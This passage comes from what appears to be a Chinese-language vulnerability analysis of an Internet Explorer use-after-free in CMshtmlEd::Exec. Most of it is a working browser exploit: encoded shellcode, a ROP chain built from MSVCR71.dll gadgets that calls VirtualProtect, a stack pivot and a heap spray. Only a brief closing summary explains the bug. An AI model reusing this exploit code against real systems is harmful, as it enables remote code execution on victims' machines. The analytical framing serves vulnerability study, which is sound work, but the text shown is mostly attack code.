var Shellcode = unescape("%u7dbd%u35c4%udbef%ud9c9%u2474%u5ff4%uc931%u42b1%u6f31%u8314%u04c7%u6f03%u9f10%uec31%uc404%u7b63%u0eff%u56a2%u994d%u9ff4%ueed6%u2f86%u869c%udb64%u7ad4%u9dfe%u0910%u027e%u3baa%u0d47%u36b4%uc844%u69c5%u0a55%u02a5%ue9c6%u9f02%uce52%ucbc1%u5674%u19d7%uec0f%u56cf%ud14a%u83ee%u2588%ud8b8%ucd7b%u303b%u2eb2%u0c0a%u7c49%u4ce9%u7ac6%u8333%u842a%uf074%ubdc1%u2206%ub702%ua117%u1308%u5ed9%ud0ca%uebd5%ubd98%ueaf9%uca75%u6706%u2588%u338f%ua9af%u78f1%ud91d%uaad8%u3feb%u9093%u3184%u1aea%u1cb9%ubd1b%u5ebe%u4824%ua505%u3460%u475e%u4fe5%uac42%ua758%u53f5%uc8a3%ue983%u5e54%u9df8%udf44%u6d68%uf1b7%uf90c%u7ec2%u8ba8%u5b1c%u30ba%u5179%u2e32%u9ad7%uab11%ua651%u08ca%u84c9%ud2a6%ud48d%u791c%ubb7a%u82a3%u2b85%u1e32%uf312%u94a2%u7180%u3d52%u1c22%ud3f5%u059d%u777d%ub2fa%u6bf7%uaa6a%u0464%u5a33%ub61f%ufbb1%u51b7%u9a5f%uaf29%ud456%uebfa%u6d63%uc5e3%u3fa1%u74b7%u4014%u46e7%uee58%ufcf7%u4150");
//rop chain generated with mona.py - www.corelan.be
rop_gadgets = unescape(
"%u6cc8%u7c36" + // 0x7c366cc8 : ,# POP EBP # RETN [MSVCR71.dll]
"%u6cc8%u7c36" + // 0x7c366cc8 : ,# skip 4 bytes [MSVCR71.dll]
"%u2b26%u7c37" + // 0x7c372b26 : ,# POP EBX # RETN [MSVCR71.dll]
"%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
"%u5249%u7c34" + // 0x7c345249 : ,# POP EDX # RETN [MSVCR71.dll]
"%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx
"%uf742%u7c34" + // 0x7c34f742 : ,# POP ECX # RETN [MSVCR71.dll]
"%uf59b%u7c38" + // 0x7c38f59b : ,# &Writable location [MSVCR71.dll]
"%u2766%u7c34" + // 0x7c342766 : ,# POP EDI # RETN [MSVCR71.dll]
"%ud202%u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
"%u600b%u7c36" + // 0x7c36600b : ,# POP ESI # RETN [MSVCR71.dll]
"%u15a2%u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll]
"%u678f%u7c37" + // 0x7c37678f : ,# POP EAX # RETN [MSVCR71.dll]
"%ua151%u7c37" + // 0x7c37a151 : ,# ptr to &VirtualProtect() + 0x11 [IAT MSVCR71.dll]
"%u8c81%u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
"%u5c30%u7c34" + // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]
"");
stack_pivot = "\u8b05\u7c34"; // 0x7c348b05
ret = "\u7f98\u7c34"
pop_ret = "\u7f97\u7c34" //pop eax ,ret
rop_gadgets = rop_gadgets + NopSlide.substring(0, 32);
var OBJECT = Padding + call0c + ret + pop_ret + stack_pivot + rop_gadgets + Shellcode + NopSlide.substring(0, block_size - Padding.length - Shellcode.length - rop_gadgets.length - 4*4/2 );;
//alert(OBJECT.length);
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb(0x10000-32)
//bp mshtml!CFormElement::DoReset+0xe4
//alloc
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
</script>
<iframe src="./exp1.html"></iframe>
</body>
</html>
效果:
漏洞总结
document.execCommand("selectAll");
的执行生成了CMshtmlEd对象,跟着selectAll又触发了funcA,从而执行document.write("B");
,导致之后在CMshtmlEd::Exec
中的
CCommand::Exec
函数释放了CMshtmlEd对象,而且并没有把对象的指针置空,但在CMshtmlEd::Exec
后续执行中还是用到CMshtmlEd对象的this指针edi,导致释放后重用漏洞